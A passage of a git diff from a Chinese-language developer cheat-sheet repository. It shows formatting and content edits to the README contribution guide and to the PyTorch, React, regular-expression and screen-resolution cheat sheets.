# 数据集表示和加载
from torch.utils.data import Dataset, DataLoader
```
<!--rehype:className=wrap-text-->
### 神经网络 API
```python
# 计算图
import torch.autograd as autograd
# 计算图中的张量节点
from torch import Tensor
# 神经网络
import torch.nn as nn
# 层、激活等
import torch.nn.functional as F
# 优化器,例如 梯度下降、ADAM等
import torch.optim as optim
# 混合前端装饰器和跟踪 jit
from torch.jit import script, trace
```
### Torchscript 和 JIT
```python
torch.jit.trace()
```
使用你的模块或函数和一个例子,数据输入,并追溯计算步骤,数据在模型中前进时遇到的情况
```python
@script
```
装饰器用于指示被跟踪代码中的数据相关控制流
### ONNX
```python
torch.onnx.export(model, dummy data, xxxx.proto)
# 导出 ONNX 格式
# 使用经过训练的模型模型dummy
# 数据和所需的文件名
model = onnx.load("alexnet.proto")
# 加载 ONNX 模型
onnx.checker.check_model(model)
# 检查模型IT 是否结构良好
onnx.helper.printable_graph(model.graph)
# 打印一个人类可读的,图的表示
```
<!--rehype:className=wrap-text-->
### Vision
```python
# 视觉数据集,架构 & 变换
from torchvision import datasets, models, transforms
# 组合转换
import torchvision.transforms as transforms
```
<!--rehype:className=wrap-text-->
### 分布式训练
```python
# 分布式通信
import torch.distributed as dist
# 内存共享进程
from torch.multiprocessing import Process
```
<!--rehype:className=wrap-text-->
另见
---
- [Pytorch 官网](https://pytorch.org/) _(pytorch.org)_
- [Pytorch 官方备忘清单](https://pytorch.org/tutorials/beginner/ptcheat.html) _(pytorch.org)_

View File

@ -8,7 +8,7 @@ Quick Reference 备忘清单
### 本地编译预览
简单的将仓库克隆下来本地调试页面展示
将仓库克隆本地调试页面。请参阅[贡献指南](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)了解如何开始
#### 克隆仓库
@ -22,12 +22,101 @@ git clone git@github.com:jaywcjlove/reference.git
```shell
npm i # 安装依赖
npm run build # 编译输出 HTML
npm run start # 监听 md 文件编译输出 HTML
```
HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静态页面在浏览器中打开预览。
```shell
npm run start # 监听 md 文件编译输出 HTML
```
### 目录结构
```bash
.
├── CONTRIBUTING.md # 贡献说明
├── Dockerfile
├── LICENSE
├── README.md # 🌐 Home(首页)内容
├── dist # 📦 编译后的静态资源目录
├── docs # 👈 Markdown 文档(速查表)
│   ├── bash.md
│   ├── ....
│   └── yaml.md
├── package.json
└── scripts # MD 转 HTML 的编译脚本
├── assets # LOGO 图标文件资源
├── ....
└── watch.mjs
```
### 添加一个备忘清单
一个简单的备忘清单包含 `页面大标题<h1>`,放在大标题下面的 `介绍` 文本,`<h2>` 分类标题,`<h3>` 内容为 `卡片`
```markdown
备忘清单 (页面大标题)
===
这是您可以在当前清单上使用的样式参考!备忘清单介绍
入门 (分类标题)
---
### 介绍 (卡片)
卡片内容
```
上面 markdown 内容存放到 `docs` 目录中,命名为 `xxx.md`
### 首页导航
<!--rehype:wrap-class=col-span-2-->
首页(`README.md`)存放在仓库的根目录,通过这个 `README.md` 自动生成首页导航,下面是导航实例:
```markdown
## Linux 命令
[Cron](./docs/cron.md)<!--rehype:style=background: rgb(239 68 68/var(\-\-bg\-opacity));-->
<!--rehype:class=home-card-->
```
首页导航图标存放在 `scripts/assets` 目录中,如果你的备忘清单定义为 `docs/cron.md`,那么你的图标就定义为 `cron.svg` 存放到 `scripts/assets` 目录中,重新编译首页当行菜单就拥有了图标。
- 图标存放在 [`scripts/assets`](https://github.com/jaywcjlove/reference/blob/main/scripts/assets) 目录中
- 图片名称与清单名称保持一致 `cron.md` -> `cron.svg` (注意大小写)
- SVG 图标尺寸 `<svg height="1em" width="1em"`
- SVG 图标颜色使用继承颜色值 `<svg fill="currentColor"`
- 使用 `<!--rehype:class=home-card-->` 标识卡片样式
### 首页提示配置
```markdown
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing-->
```
<!--rehype:className=wrap-text-->
添加 `contributing` 类名,会在卡片下方默认添加 `👆待完善需要您的参与`
```markdown
class=tag&data-info=👆看看还缺点儿什么?
```
上面示例将默认提示更改为: `👆看看还缺点儿什么?`
```markdown
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=tag&data-lang=Python-->
```
<!--rehype:className=wrap-text-->
添加 `class=tag&data-lang=Python` 类名和参数,会在卡片右上角标记 _`Python`_
Markdown 语法注释
---
### 介绍
<!--rehype:wrap-class=row-span-2-->
在备忘清单采用 `HTML 注释语法`,标识网站布局和一些样式,目的是为了在 `GitHub` 中也是正常毫无瑕疵的预览 [`Markdown`](./markdown.md)。
@ -38,12 +127,12 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
卡片 Markdown 内容展示,下面注释语法为文字内容改变样式
<!--rehype:style=color: red;-->
```
<!--rehype:className=wrap-text -->
<!--rehype:className=wrap-text-->
使用 `col-span-2` 类标识,卡片占 `2` 列位置
上面基础示例,使用 `col-span-2` 类标识,卡片占 `2` 列位置,参考现有备忘清单的源代码是一个好习惯!
### 注释语法介绍
<!--rehype:wrap-class=row-span-3&style=color:black;background-color: #d7a100;-->
<!--rehype:wrap-class=row-span-4&style=color:black;background-color: #d7a100;-->
- 在某个 [`Markdown`](./markdown.md) 语法下方或者后面,添加 HTML注释
-`<!--rehype:` 开始,`-->` 结束,包裹参数内容
@ -57,7 +146,7 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
#### 示例
```markdown
### H2 部分
## H2 部分
<!--rehype:body-class=cols-2-->
### H3 部分
@ -70,7 +159,7 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
### 标题
<!--rehype:wrap-class=row-span-3&style=color:red;-->
```
<!--rehype:className=wrap-text -->
<!--rehype:className=wrap-text-->
#### 参数说明
@ -96,7 +185,7 @@ _我是红色_<!--rehype:style=color: red;-->
**加粗变大红色**
<!--rehype:style=color: red;font-size: 18px-->
```
<!--rehype:className=wrap-text -->
<!--rehype:className=wrap-text-->
上面添加注释样式,文字 _加粗变大红色_<!--rehype:style=color: red;font-size: 18px-->`红`并且`大`
@ -106,12 +195,11 @@ _我是红色_<!--rehype:style=color: red;-->
\```js
function () {}
\```
<!--rehype:className=wrap-text -->
<!--rehype:className=wrap-text-->
```
如果代码块内容太长,使用强制换行类(`wrap-text`)解决
### 展示表格表头
```markdown
@ -150,11 +238,11 @@ export const Student = (
添加注释配置 `<!--rehype:tooltips-->` 添加一个 Tooltips 提示。
### H3 部分(卡片)背景颜色
<!--rehype:wrap-style=background: #00c69357;-->
<!--rehype:wrap-style=background: #8dffd42e;-->
```markdown
### H3 部分(卡片)背景颜色
<!--rehype:wrap-style=background: #00c69357;-->
<!--rehype:wrap-style=background: #8dffd42e;-->
```
<!--rehype:className=wrap-text -->
@ -170,7 +258,7 @@ export const Student = (
### 快捷键样式
| Key | value |
| Key | value |
| ---- | ---- |
| `快捷键` | 说明 |
| `快捷键` | 说明 |
@ -209,41 +297,12 @@ const school = <div>学校</div>;
:- | -
:- | -
`<yel>` | <yel>黄色</yel>
`<red>` | <yel>红色</yel>
`<pur>` | <pur>紫色</pur>
`<code>` 或 <code>\`\`</code> | <code>绿</code>`色`
`<del>``~~删除~~` | <del>~~红色~~</del>
<!--rehype:className=shortcuts-->
### 注释类配置
<!--rehype:wrap-class=col-span-2 row-span-2-->
类 | 说明
---- | ----
`<!--rehype:className=wrap-text-->` | 强制换行
`<!--rehype:className=show-header-->` | 展示表格表头
`<!--rehype:className=shortcuts-->` | 快捷键样式
`<!--rehype:className=auto-wrap-->` | 隐藏表头强制小尺寸自动换行
`<!--rehype:className=style-list-arrow-->` | 列表箭头样式展示表格
`<!--rehype:className=style-list-->` | 列表样式展示表格
`<!--rehype:className=left-align-->` | 表格末尾列左对齐
`<!--rehype:className=style-none-->` | \<li> 没有标记
`<!--rehype:className=style-timeline-->` | 时间轴样式
`<!--rehype:className=style-arrow-->` | 箭头标记
### 隐藏卡片标题
<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
```
隐藏卡片标题,在 H3 标题下面添加注释样式
```
```markdown {2}
### 隐藏卡片标题
<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
```
<!--rehype:className=wrap-text -->
### HTML 代码预览
```
@ -260,6 +319,35 @@ const school = <div>学校</div>;
上面的 [`markdown`](./markdown.md) 代码在 `meta` 位置添加 `preview` 标识,[HTML](./html.md) 代码将被执行预览
### 隐藏卡片标题
<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
```
隐藏卡片标题,在 H3 标题下面添加注释样式
```
```markdown {2}
### 隐藏卡片标题
<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
```
<!--rehype:className=wrap-text -->
### 注释类配置
<!--rehype:wrap-class=col-span-2-->
类 | 说明
---- | ----
`<!--rehype:className=wrap-text-->` | 强制`换行`
`<!--rehype:className=show-header-->` | 展示表格`表头`
`<!--rehype:className=shortcuts-->` | `快捷键`样式
`<!--rehype:className=auto-wrap-->` | 隐藏表头强制小尺寸`自动换行`
`<!--rehype:className=style-list-arrow-->` | 列表`箭头`样式展示表格
`<!--rehype:className=style-list-->` | `列表`样式展示表格
`<!--rehype:className=left-align-->` | 表格末尾列`左对齐`
`<!--rehype:className=style-none-->` | \<li> 没有标记样式
`<!--rehype:className=style-timeline-->` | `时间轴`样式
`<!--rehype:className=style-arrow-->` | `箭头`标记
### KaTeX 数学渲染
```KaTeX
@ -345,17 +433,20 @@ H2 部分
### 卡片 3 (H3 部分)
```
类 | 说明
---- | ----
---
:-- | --
:-- | --
合并 **列** 布局 |
`col-span-2` | `2` 列占位
`col-span-3` | `3` 列占位
`col-span-4` | `4` 列占位
`col-span-5` | `5` 列占位
`col-span-{2~10}` | `{2~10}` 列占位
合并 **行** 布局 |
`row-span-2` | `2` 行占位
`row-span-3` | `3` 行占位
`row-span-4` | `4` 行占位
`row-span-5` | `5` 行占位
<!--rehype:className=show-header -->
`row-span-{2~10}` | `{2~10}` 行占位
### 卡片合并行布局 1
@ -582,7 +673,6 @@ H2 部分
在 `Title 1` 标题添加 `col-span-2` 和 `row-span-2` 占位类,使用 `空格` 间隔。
表格
---
@ -675,7 +765,7 @@ H2 部分
列表
---
### 一栏默认
### 一栏(默认)
- Item 1
- Item 2
@ -699,14 +789,19 @@ H2 部分
<!--rehype:wrap-class=row-span-2-->
- **重命名为 new_name**
```bash
$ git branch -m <new_name>
```
- 推送和**重置**
```bash
$ git push origin -u <new_name>
```
- 删除远程分支
```bash
$ git push origin --delete <old>
```
@ -789,7 +884,7 @@ H3 部分 - 占位效果展示
<!--rehype:wrap-class=row-span-2-->
```
...
...合并两行
```
`<!--rehype:wrap-class=row-span-2-->`
@ -798,7 +893,7 @@ H3 部分 - 占位效果展示
<!--rehype:wrap-class=col-span-2-->
```
...
...合并两列
```
`<!--rehype:wrap-class=col-span-2-->`
@ -807,7 +902,7 @@ H3 部分 - 占位效果展示
<!--rehype:style=background:#e91e63;-->
```
...
...红色标题配置
```
`<!--rehype:style=background:#e91e63;-->`
@ -816,7 +911,7 @@ H3 部分 - 占位效果展示
<!--rehype:style=background:#d7a100;-->
```
...
...黄色标题配置
```
`<!--rehype:style=background:#d7a100;-->`

View File

@ -3,7 +3,6 @@ React 备忘清单
适合初学者的综合 React 备忘清单。
入门
----
@ -59,7 +58,6 @@ import World, { Hello } from './hello.js';
使用 `import` 导入 `Hello` 组件,在示例中使用。
### React 组件中的 CSS
```jsx {2,5}
@ -82,7 +80,6 @@ export const Student = (
);
```
### 属性
```jsx
@ -112,7 +109,6 @@ class Student extends React.Component {
`class` 组件使用 `this.props` 访问传递给组件的属性。
### Children
<!--rehype:wrap-class=row-span-2-->
@ -138,7 +134,7 @@ function AlertBox(props) {
}
```
----
-----
```jsx
{props.children}
@ -158,7 +154,7 @@ class AlertBox extends React.Component {
}
```
----
-----
```jsx
{this.props.children}
@ -297,7 +293,7 @@ function Student() {
### Portals
React 并*没有*创建一个新的 `div`。它只是把子元素渲染到 `domNode` 中。`domNode` 是一个可以在任何位置的有效 DOM 节点。
React 并_没有_创建一个新的 `div`。它只是把子元素渲染到 `domNode` 中。`domNode` 是一个可以在任何位置的有效 DOM 节点。
```jsx
render() {
@ -438,7 +434,7 @@ function CustomTextInput(props) {
</div>
```
----
-----
- [识别不安全的生命周期](https://zh-hans.reactjs.org/docs/strict-mode.html#identifying-unsafe-lifecycles)
- [关于使用过时字符串 ref API 的警告](https://zh-hans.reactjs.org/docs/strict-mode.html#warning-about-legacy-string-ref-api-usage)
@ -754,7 +750,7 @@ export default function Weather(props) {
}
```
----
-----
```js
{isShow && <div>内容</div>}
@ -860,7 +856,6 @@ class Welcome extends React.Component {
`this.props` | 组件接受参数
`this.state` | 组件内状态
### Pure 组件
```jsx
@ -1003,7 +998,7 @@ Menu.Item = ({ children }) => (
);
```
----
-----
```jsx
<Menu>
@ -1330,7 +1325,7 @@ PropTypes 属性类型检查
import PropTypes from 'prop-types'
```
----
-----
:- | -
:- | -
@ -1354,7 +1349,6 @@ import PropTypes from 'prop-types'
`oneOf(any)` | 枚举类型
`oneOfType([type])` | 几种类型中的任意一个类型
#### _数组 Array_
:- | -
@ -1537,4 +1531,4 @@ MyComponent.propTypes = {
- [React 官方中文文档](https://zh-hans.reactjs.org/) _(zh-hans.reactjs.org)_
- [反应生命周期方法图](https://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/) _(projects.wojtekmaj.pl)_
- [React 16 Cheat Sheet](https://reactcheatsheet.com)
- [Awesome React](https://github.com/enaqx/awesome-react) _(github.com)_
- [Awesome React](https://github.com/enaqx/awesome-react) _(github.com)_

View File

@ -33,7 +33,6 @@ RegEX 备忘清单
`[a-zA-Z]` | 范围内的字符:<br>`a-z``A-Z`
`[a-zA-Z0-9]` | 范围内的字符:<br>`a-z``A-Z``0-9`
### 量词
范例 | 说明
@ -115,7 +114,6 @@ RegEX 备忘清单
`[\b]` | 退格字符
`\` | 使任何字符文字
### 锚点
范例 | 说明
@ -129,7 +127,6 @@ RegEX 备忘清单
`\b` | 一个词的边界
`\B` | 非单词边界
### 替代
范例 | 说明
@ -210,8 +207,8 @@ RegEX 备忘清单
`(?!...)` | 负先行断言
`(?<=...)` | 正后发断言
`(?<!...)` | 负后发断言
`?= `|正先行断言-存在
`?! `|负先行断言-排除
`?=`|正先行断言-存在
`?!`|负先行断言-排除
`?<=`|正后发断言-存在
`?<!`|负后发断言-排除
@ -244,30 +241,30 @@ RegEX 备忘清单
:-|-
:-|-
`(*ACCEPT)` | 控制动词
`(*FAIL)` | 控制动词
`(*MARK:NAME)` | 控制动词
`(*COMMIT)` | 控制动词
`(*PRUNE)` | 控制动词
`(*SKIP)` | 控制动词
`(*THEN)` | 控制动词
`(*UTF)` | 图案修饰符
`(*UTF8)` | 图案修饰符
`(*UTF16)` | 图案修饰符
`(*UTF32)` | 图案修饰符
`(*UCP)` | 图案修饰符
`(*CR)` | 换行修饰符
`(*LF)` | 换行修饰符
`(*CRLF)` | 换行修饰符
`(*ANYCRLF)` | 换行修饰符
`(*ANY)` | 换行修饰符
`\R` | 换行修饰符
`(*BSR_ANYCRLF)` | 换行修饰符
`(*BSR_UNICODE)` | 换行修饰符
`(*LIMIT_MATCH=x)` | 正则表达式引擎修饰符
`(*LIMIT_RECURSION=d)` | 正则表达式引擎修饰符
`(*NO_AUTO_POSSESS)` | 正则表达式引擎修饰符
`(*NO_START_OPT)` | 正则表达式引擎修饰符
`(*ACCEPT)` | 控制动词
`(*FAIL)` | 控制动词
`(*MARK:NAME)` | 控制动词
`(*COMMIT)` | 控制动词
`(*PRUNE)` | 控制动词
`(*SKIP)` | 控制动词
`(*THEN)` | 控制动词
`(*UTF)` | 图案修饰符
`(*UTF8)` | 图案修饰符
`(*UTF16)` | 图案修饰符
`(*UTF32)` | 图案修饰符
`(*UCP)` | 图案修饰符
`(*CR)` | 换行修饰符
`(*LF)` | 换行修饰符
`(*CRLF)` | 换行修饰符
`(*ANYCRLF)` | 换行修饰符
`(*ANY)` | 换行修饰符
`\R` | 换行修饰符
`(*BSR_ANYCRLF)` | 换行修饰符
`(*BSR_UNICODE)` | 换行修饰符
`(*LIMIT_MATCH=x)` | 正则表达式引擎修饰符
`(*LIMIT_RECURSION=d)` | 正则表达式引擎修饰符
`(*NO_AUTO_POSSESS)` | 正则表达式引擎修饰符
`(*NO_START_OPT)` | 正则表达式引擎修饰符
正则表达式示例
--------------
@ -276,26 +273,25 @@ RegEX 备忘清单
范例 | 说明
:-|-
`ring ` | 匹配 <yel>ring</yel> sp<yel>ring</yel>board 等。
`. ` | 匹配 <yel>a</yel><yel>9</yel><yel>+</yel> 等。
`h.o ` | 匹配 <yel>hoo</yel><yel>h2o</yel><yel>h/o</yel> 等。
`ring\? ` | 匹配 <yel>ring?</yel>
`\(quiet\) ` | 匹配<yel>(安静)</yel>
`c:\\windows ` | 匹配 <yel>c:\windows</yel>
`ring` | 匹配 <yel>ring</yel> sp<yel>ring</yel>board 等。
`.` | 匹配 <yel>a</yel><yel>9</yel><yel>+</yel> 等。
`h.o` | 匹配 <yel>hoo</yel><yel>h2o</yel><yel>h/o</yel> 等。
`ring\?` | 匹配 <yel>ring?</yel>
`\(quiet\)` | 匹配<yel>(安静)</yel>
`c:\\windows` | 匹配 <yel>c:\windows</yel>
使用 `\` 搜索这些特殊字符:<br> `[ \ ^ $ . | ? * + ( ) { }`
### 速记类
范例 | 说明
:-|-
`\w ` | “单词”字符 <br> _(字母、数字或下划线)_
`\d ` | 数字
`\s ` | 空格 <br> _(空格、制表符、vtab、换行符)_
`\W, \D, or \S ` | 不是单词、数字或空格
`[\D\S] ` | 表示不是数字或空格,两者都匹配
`[^\d\s] ` | 禁止数字和空格
`\w` | “单词”字符 <br> _(字母、数字或下划线)_
`\d` | 数字
`\s` | 空格 <br> _(空格、制表符、vtab、换行符)_
`\W, \D, or \S` | 不是单词、数字或空格
`[\D\S]` | 表示不是数字或空格,两者都匹配
`[^\d\s]` | 禁止数字和空格
### 出现次数
@ -311,9 +307,9 @@ RegEX 备忘清单
范例 | 说明
:-|-
`cat\|dog ` | 匹配 <yel>cat</yel><yel>dog</yel>
`id\|identity ` | 匹配 <yel>id</yel><yel>id</yel>entity
`identity\|id ` | 匹配 <yel>id</yel><yel>identity</yel>
`cat\|dog` | 匹配 <yel>cat</yel><yel>dog</yel>
`id\|identity` | 匹配 <yel>id</yel><yel>id</yel>entity
`identity\|id` | 匹配 <yel>id</yel><yel>identity</yel>
当替代品重叠时,命令从长到短
@ -334,7 +330,7 @@ RegEX 备忘清单
范例 | 说明
:-|-
`* + {n,}`<br>_greedy_ | 尽可能匹配
`<.+> ` | 在 <yel>\<b>bold\<\/b></yel> 中找到 1 个大匹配项
`<.+>` | 在 <yel>\<b>bold\<\/b></yel> 中找到 1 个大匹配项
`*? +? {n,}?`<br>_lazy_ | 尽可能少匹配
`<.+?>` | 在 \<<yel>b</yel>>bold\<<yel>\/b</yel>> 中找到 2 个匹配项
@ -343,20 +339,19 @@ RegEX 备忘清单
范例 | 说明
:-|-
`\b ` | “单词”边缘(非“单词”字符旁边)
`\bring ` | 单词以“ring”开头例如 <yel>ringtone</yel>
`ring\b ` | 单词以“ring”结尾例如 <yel>spring</yel>
`\b9\b ` | 匹配单个数字 <yel>9</yel>,而不是 19、91、99 等。
`\b[a-zA-Z]{6}\b ` | 匹配 6 个字母的单词
`\B ` | 不是字边
`\Bring\B ` | 匹配 <yel>springs</yel><yel>wringer</yel>
`^\d*$ ` | 整个字符串必须是数字
`\b` | “单词”边缘(非“单词”字符旁边)
`\bring` | 单词以“ring”开头例如 <yel>ringtone</yel>
`ring\b` | 单词以“ring”结尾例如 <yel>spring</yel>
`\b9\b` | 匹配单个数字 <yel>9</yel>,而不是 19、91、99 等。
`\b[a-zA-Z]{6}\b` | 匹配 6 个字母的单词
`\B` | 不是字边
`\Bring\B` | 匹配 <yel>springs</yel><yel>wringer</yel>
`^\d*$` | 整个字符串必须是数字
`^[a-zA-Z]{4,20}$` | 字符串必须有 4-20 个字母
`^[A-Z] ` | 字符串必须以大写字母开头
`[\.!?"')]$ ` | 字符串必须以终端标点结尾
`^[A-Z]` | 字符串必须以大写字母开头
`[\.!?"')]$` | 字符串必须以终端标点结尾
### 修饰
### 修饰
范例 | 说明
:-|-
@ -371,8 +366,8 @@ RegEX 备忘清单
范例 | 说明
:-|-
`(in\|out)put ` | 匹配 <yel>input</yel><yel>output</yel>
`\d{5}(-\d{4})?` | 美国邮政编码 _(“+ 4”可选)_
`(in\|out)put` | 匹配 <yel>input</yel><yel>output</yel>
`\d{5}(-\d{4})?` | 美国邮政编码 _(“+ 4”可选)_
如果组后匹配失败,解析器会尝试每个替代方案。
<br>
@ -417,11 +412,10 @@ RegEX 备忘清单
`(?<! )` | 向后看,如果你找不到后面
`\b\w+?(?=ing\b)` | 匹配 <yel>warbl</yel>ing, <yel>str</yel>ing, <yel>fish</yel>ing, ...
`\b(?!\w+ing\b)\w+\b` | 不以“ing”结尾的单词
`(?<=\bpre).*?\b ` | 匹配 pre<yel>tend</yel>、pre<yel>sent</yel>、pre<yel>fix</yel>、...
`(?<=\bpre).*?\b` | 匹配 pre<yel>tend</yel>、pre<yel>sent</yel>、pre<yel>fix</yel>、...
`\b\w{3}(?<!pre)\w*?\b` | 不以“pre”开头的词
`\b\w+(?<!ing)\b` | 匹配不以“ing”结尾的单词
### If-then-else
匹配 `Mr.``Ms.` 如果单词 `her` 稍后在字符串中
@ -458,7 +452,7 @@ M(?(?=.*?\bher\b)s|r)\.
表达式 | 匹配示例
:- | -
`.ar` | The `car` `par`ked in the `gar`age.
`.ar` | The `car` <pur>`par`</pur>ked in the `gar`age.
`ar[.]` | A garage is a good place to park a c`ar`.
<!--rehype:className=show-header-->
@ -480,7 +474,7 @@ M(?(?=.*?\bher\b)s|r)\.
表达式 | 匹配示例
:- | -
`[a-z]*` | T`he` `car` `parked` `in` `the` `garage` #21.
`[a-z]*` | T`he` <pur>`car`</pur> `parked` <pur>`in`</pur> `the` <pur>`garage`</pur> #21.
`\s*cat\s*` | The fat `cat` sat on the con`cat`enation.
表达式 `[a-z]*` 匹配一个行中所有以小写字母开头的字符串。
@ -509,7 +503,7 @@ M(?(?=.*?\bher\b)s|r)\.
`[0-9]{2,3}` | The number was 9.`999`7 but we rounded it off to `10`.0.
`[0-9]{2,}` | The number was 9.`9997` but we rounded it off to `10`.0.
`[0-9]{3}` | The number was 9.`999`7 but we rounded it off to 10.0.
<!--rehype:className=show-header-->
<!--rehype:className=style-list-arrow-->
### `(...)` 特征标群
@ -622,7 +616,7 @@ M(?(?=.*?\bher\b)s|r)\.
表达式 | 匹配示例
:- | -
`The` | The `fat` cat sat on the mat.
`/The/gi` | The `fat` `cat` `sat` on the `mat`.
`/The/gi` | `The` fat cat sat on `the` mat.
<!--rehype:className=show-header-->
修饰语 `i` 用于忽略大小写,`g` 表示全局搜索。
@ -649,8 +643,8 @@ M(?(?=.*?\bher\b)s|r)\.
表达式 | 匹配示例
:- | -
`/(.*at)/` | `The fat cat sat on the mat`.
`/(.*?at)/` | `The fat` cat sat on the mat.
`/(.*at)/` | `The fat cat sat on the mat`.
`/(.*?at)/` | `The fat` cat sat on the mat.
<!--rehype:className=show-header-->
Python 中的正则表达式
@ -664,7 +658,6 @@ Python 中的正则表达式
import re
```
### 实例
<!--rehype:wrap-class=col-span-2 row-span-3-->
@ -729,18 +722,15 @@ False
函数 | 说明
:-|-
`re.findall` | 返回包含所有匹配项的列表
`re.finditer` | 返回一个可迭代的匹配对象每个匹配一个
`re.finditer` | 返回一个可迭代的匹配对象<br/> _(每个匹配一个)_
`re.search` | 如果字符串中的任何位置存在匹配项,则返回 Match 对象
`re.split` | 返回一个列表,其中字符串在每次匹配时被拆分
`re.sub` | 用字符串替换一个或多个匹配项
`re.compile` | 编译正则表达式模式供以后使用
`re.escape` | 返回所有非字母数字反斜杠的字符串
### Flags 标志
:- | - | -
:- | - | -
`re.I` | `re.IGNORECASE` | 忽略大小写
@ -750,8 +740,6 @@ False
`re.U` | `re.UNICODE` | 使 `\w``\b``\d``\s` _unicode 依赖_
`re.X` | `re.VERBOSE` | 可读风格
JavaScript 中的正则表达式
---------------
@ -830,7 +818,7 @@ let regex = /apples/gi;
console.log(text.match(regex));
```
### split()
### split()
<!--rehype:wrap-class=col-span-2-->
```javascript
@ -894,14 +882,12 @@ text.replaceAll(regex, "mangoes");
```
<!--rehype:className=wrap-text-->
PHP中的正则表达式
------------
### 函数
<!--rehype:wrap-class=col-span-2-->
:- | -
:- | -
`preg_match()` | 执行正则表达式匹配
@ -911,7 +897,6 @@ PHP中的正则表达式
`preg_split()` | 按正则表达式模式拆分字符串
`preg_grep()` | 返回与模式匹配的数组条目
### preg_replace
```php
@ -923,7 +908,6 @@ echo preg_replace($regex, "QuickRef", $str);
```
<!--rehype:className=wrap-text-->
### preg_match
```php
@ -933,7 +917,6 @@ $regex = "#quickref#i";
echo preg_match($regex, $str);
```
### preg_matchall
<!--rehype:wrap-class=col-span-2 row-span-2-->
@ -952,17 +935,15 @@ if (preg_match_all($regex, $input_str, $matches_out)) {
}
```
### preg_grep
```php
```php
$arr = ["Jane", "jane", "Joan", "JANE"];
$regex = "/Jane/";
// Output: Jane
echo preg_grep($regex, $arr);
```
### preg_split
<!--rehype:wrap-class=col-span-2-->
@ -973,7 +954,6 @@ $regex = "@\s@";
print_r(preg_split($regex, $str));
```
Java 中的正则表达式
-------------
@ -1003,10 +983,8 @@ boolean s3 = Pattern.matches(".s", "XXXX");
System.out.println(s3); // Outputs: false
```
### 模式字段
:- | -
:- | -
`CANON_EQ` | 规范等价
@ -1017,7 +995,6 @@ System.out.println(s3); // Outputs: false
`UNICODE_CASE` | Unicode 感知大小写折叠
`UNIX_LINES` | Unix 行模式
### 方法
#### Pattern
@ -1029,10 +1006,10 @@ System.out.println(s3); // Outputs: false
#### 匹配器
- int start([int group | 字符串名称])
- int end([int group | 字符串名称])
- int start([int group | 字符串名称])
- int end([int group | 字符串名称])
- 布尔 find([int start])
- 字符 group([int 组 | 字符串名称])
- 字符 group([int 组 | 字符串名称])
- 匹配器重置 reset()
#### String
@ -1043,7 +1020,6 @@ System.out.println(s3); // Outputs: false
还有更多方法...
### 例子
<!--rehype:wrap-class=col-span-2-->
@ -1073,7 +1049,6 @@ while (m.find()) {
System.out.println(matches);
```
MySQL中的正则表达式
-------------
<!--rehype:body-class=cols-2-->
@ -1082,15 +1057,14 @@ MySQL中的正则表达式
函数名称 | 说明
:- | -
`REGEXP ` | 字符串是否匹配正则表达式
`REGEXP_INSTR() ` | 匹配正则表达式的子字符串的起始索引 <br>_注意仅限 MySQL 8.0+_
`REGEXP_LIKE() ` | 字符串是否匹配正则表达式 <br>_(注意:仅 MySQL 8.0+)_
`REGEXP` | 字符串是否匹配正则表达式
`REGEXP_INSTR()` | 匹配正则表达式的子字符串的起始索引 <br>_注意仅限 MySQL 8.0+_
`REGEXP_LIKE()` | 字符串是否匹配正则表达式 <br>_(注意:仅 MySQL 8.0+)_
`REGEXP_REPLACE()` | 替换匹配正则表达式的子字符串 <br>_注意仅限 MySQL 8.0+_
`REGEXP_SUBSTR() ` | 返回匹配正则表达式的子字符串 <br>_(注意:仅 MySQL 8.0+)_
`REGEXP_SUBSTR()` | 返回匹配正则表达式的子字符串 <br>_(注意:仅 MySQL 8.0+)_
### REGEXP
```sql
expr REGEXP pat
```
@ -1107,7 +1081,6 @@ mysql> SELECT 'a' REGEXP 'A', 'a' REGEXP BINARY 'A';
1 0
```
### REGEXP_REPLACE
```
@ -1123,7 +1096,6 @@ mysql> SELECT REGEXP_REPLACE('abc ghi', '[a-z]+', 'X', 1, 2);
abc X
```
### REGEXP_SUBSTR
```
@ -1139,8 +1111,7 @@ mysql> SELECT REGEXP_SUBSTR('abc def ghi', '[a-z]+', 1, 3);
ghi
```
### REGEXP_LIKE
### REGEXP_LIKE
```
REGEXP_LIKE(expr, pat[, match_type])
@ -1161,7 +1132,6 @@ mysql> SELECT regexp_like('a\nb\nc', '^b$', 'm');
1
```
### REGEXP_INSTR
```

View File

@ -133,7 +133,6 @@ Resolutions 备忘清单
| Xiaomi Redmi Note 8 Pro (2019) | 6.53 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
<!--rehype:className=show-header-->
### 平板
<!--rehype:wrap-class=col-span-3-->
@ -159,7 +158,6 @@ Resolutions 备忘清单
| Google Pixel C (2015) | 10.2 <sub>inch</sub> | 2560x1800 <sub>px</sub> | 1280 x 900 <sub>px</sub> | 308 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
<!--rehype:className=show-header-->
### 笔记本电脑
<!--rehype:wrap-class=col-span-3-->
@ -234,20 +232,20 @@ N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
`WSXGA+` | 16:10 | 1680 x 1050 <sub>px</sub> | 1.764 | 1.97 | 2.23
`FHD` | 16:9 | 1920 x 1080 <sub>px</sub> | 2.074 | 64.81 | 20.41
`WUXGA` | 16:10 | 1920 x 1200 <sub>px</sub> | 2.304 | 0.81 | 0.93
`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51
`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51
`QXGA` | 4:3 | 2048 x 1536 <sub>px</sub> | 3.145 | - | -
